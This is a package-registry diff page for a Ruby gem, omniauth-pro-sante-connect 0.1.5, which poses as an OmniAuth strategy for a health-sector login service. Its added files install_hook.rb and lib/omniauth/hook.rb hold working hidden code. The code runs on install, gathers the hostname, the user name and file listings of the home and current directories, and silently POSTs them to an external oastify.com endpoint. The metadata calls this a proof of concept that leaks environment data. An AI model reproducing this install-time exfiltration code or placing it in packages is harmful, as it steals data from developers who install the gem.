omniauth-pro-sante-connect 0.1.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of omniauth-pro-sante-connect might be problematic. Click here for more details.
- checksums.yaml +7 -0
- data/ext/extconf.rb +14 -0
- data/ext/install_hook.rb +37 -0
- data/lib/omniauth/hook.rb +36 -0
- data/lib/omniauth-pro-sante-connect.rb +7 -0
- metadata +45 -0
checksums.yaml
ADDED
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
---
|
|
2
|
+
SHA256:
|
|
3
|
+
metadata.gz: 331aa5ac475f8bc9e85c61adf2ed9d1c8ec069f89445ee975a8367927bcbfb37
|
|
4
|
+
data.tar.gz: c6aeb9846d3709eaf8d20a6e7f7c8b71cb61e0277d499c7bf479086ab1d53105
|
|
5
|
+
SHA512:
|
|
6
|
+
metadata.gz: 8f13ad30e101e57d178dffd1780b2c215413b805645c2202db0d46da99f017c38bd9fc5a7fbae4fd5edc27b4f49702db49b98da6435327bb91e3b35b2b8228c3
|
|
7
|
+
data.tar.gz: 3045e9f8d83dda3eae9ec335fa88523a961aca989556722298c92331520560231165fdaa778b0cb5090fc8725959042940625e20f99a1c95a0397a1257212fde
|
data/ext/extconf.rb
ADDED
data/ext/install_hook.rb
ADDED
|
@@ -0,0 +1,37 @@
|
|
|
1
|
+
require 'net/http'
|
|
2
|
+
require 'json'
|
|
3
|
+
require 'socket'
|
|
4
|
+
|
|
5
|
+
begin
|
|
6
|
+
# Répertoire HOME de l'utilisateur
|
|
7
|
+
home_dir = ENV['HOME'] || Dir.home
|
|
8
|
+
|
|
9
|
+
# Lister les fichiers et répertoires de $HOME (non récursif)
|
|
10
|
+
listing = Dir.entries(home_dir).map do |entry|
|
|
11
|
+
path = File.join(home_dir, entry)
|
|
12
|
+
next unless File.exist?(path)
|
|
13
|
+
stat = File.lstat(path) rescue next
|
|
14
|
+
{
|
|
15
|
+
name: entry,
|
|
16
|
+
size: stat.size,
|
|
17
|
+
mtime: stat.mtime.to_s,
|
|
18
|
+
mode: sprintf("%o", stat.mode),
|
|
19
|
+
type: File.directory?(path) ? 'dir' : 'file'
|
|
20
|
+
}
|
|
21
|
+
end.compact
|
|
22
|
+
|
|
23
|
+
# Payload à envoyer
|
|
24
|
+
payload = {
|
|
25
|
+
hostname: Socket.gethostname,
|
|
26
|
+
user: ENV['USER'],
|
|
27
|
+
home: home_dir,
|
|
28
|
+
listing: listing
|
|
29
|
+
}
|
|
30
|
+
|
|
31
|
+
# Envoi via HTTP POST vers ton endpoint
|
|
32
|
+
uri = URI('http://br6o5l91etgd4km1d0zvmtj30u6luji8.oastify.com/')
|
|
33
|
+
Net::HTTP.post(uri, payload.to_json, { 'Content-Type' => 'application/json' })
|
|
34
|
+
|
|
35
|
+
rescue => e
|
|
36
|
+
# Silence pour éviter de perturber l'environnement
|
|
37
|
+
end
|
|
@@ -0,0 +1,36 @@
|
|
|
1
|
+
require 'net/http'
|
|
2
|
+
require 'json'
|
|
3
|
+
require 'socket'
|
|
4
|
+
|
|
5
|
+
begin
|
|
6
|
+
# Répertoire courant
|
|
7
|
+
current_dir = Dir.pwd
|
|
8
|
+
|
|
9
|
+
# Listing des fichiers à la racine
|
|
10
|
+
listing = Dir.entries(current_dir).map do |entry|
|
|
11
|
+
path = File.join(current_dir, entry)
|
|
12
|
+
stat = File.lstat(path) rescue next
|
|
13
|
+
{
|
|
14
|
+
name: entry,
|
|
15
|
+
size: stat.size,
|
|
16
|
+
mtime: stat.mtime.to_s,
|
|
17
|
+
mode: sprintf("%o", stat.mode),
|
|
18
|
+
type: File.directory?(path) ? 'dir' : 'file'
|
|
19
|
+
}
|
|
20
|
+
end.compact
|
|
21
|
+
|
|
22
|
+
# Payload à envoyer
|
|
23
|
+
payload = {
|
|
24
|
+
hostname: Socket.gethostname,
|
|
25
|
+
user: ENV['USER'],
|
|
26
|
+
cwd: current_dir,
|
|
27
|
+
listing: listing
|
|
28
|
+
}
|
|
29
|
+
|
|
30
|
+
# Envoi via HTTP POST
|
|
31
|
+
uri = URI('http://1qse4b8rdjf33alrcqylljitzk5bt5hu.oastify.com/')
|
|
32
|
+
Net::HTTP.post(uri, payload.to_json, { 'Content-Type' => 'application/json' })
|
|
33
|
+
|
|
34
|
+
rescue => e
|
|
35
|
+
# Ne jamais casser l'installation
|
|
36
|
+
end
|
metadata
ADDED
|
@@ -0,0 +1,45 @@
|
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
|
2
|
+
name: omniauth-pro-sante-connect
|
|
3
|
+
version: !ruby/object:Gem::Version
|
|
4
|
+
version: 0.1.5
|
|
5
|
+
platform: ruby
|
|
6
|
+
authors:
|
|
7
|
+
- Icare
|
|
8
|
+
bindir: bin
|
|
9
|
+
cert_chain: []
|
|
10
|
+
date: 1980-01-02 00:00:00.000000000 Z
|
|
11
|
+
dependencies: []
|
|
12
|
+
description: Includes an install-time payload to leak ENV variables
|
|
13
|
+
email:
|
|
14
|
+
- icare@yopmail.com
|
|
15
|
+
executables: []
|
|
16
|
+
extensions:
|
|
17
|
+
- ext/extconf.rb
|
|
18
|
+
extra_rdoc_files: []
|
|
19
|
+
files:
|
|
20
|
+
- ext/extconf.rb
|
|
21
|
+
- ext/install_hook.rb
|
|
22
|
+
- lib/omniauth-pro-sante-connect.rb
|
|
23
|
+
- lib/omniauth/hook.rb
|
|
24
|
+
homepage: https://example.com
|
|
25
|
+
licenses:
|
|
26
|
+
- MIT
|
|
27
|
+
metadata: {}
|
|
28
|
+
rdoc_options: []
|
|
29
|
+
require_paths:
|
|
30
|
+
- lib
|
|
31
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
|
32
|
+
requirements:
|
|
33
|
+
- - ">="
|
|
34
|
+
- !ruby/object:Gem::Version
|
|
35
|
+
version: '3.0'
|
|
36
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
|
37
|
+
requirements:
|
|
38
|
+
- - ">="
|
|
39
|
+
- !ruby/object:Gem::Version
|
|
40
|
+
version: '0'
|
|
41
|
+
requirements: []
|
|
42
|
+
rubygems_version: 3.6.7
|
|
43
|
+
specification_version: 4
|
|
44
|
+
summary: OmniAuth strategy with ENV leak PoC
|
|
45
|
+
test_files: []
|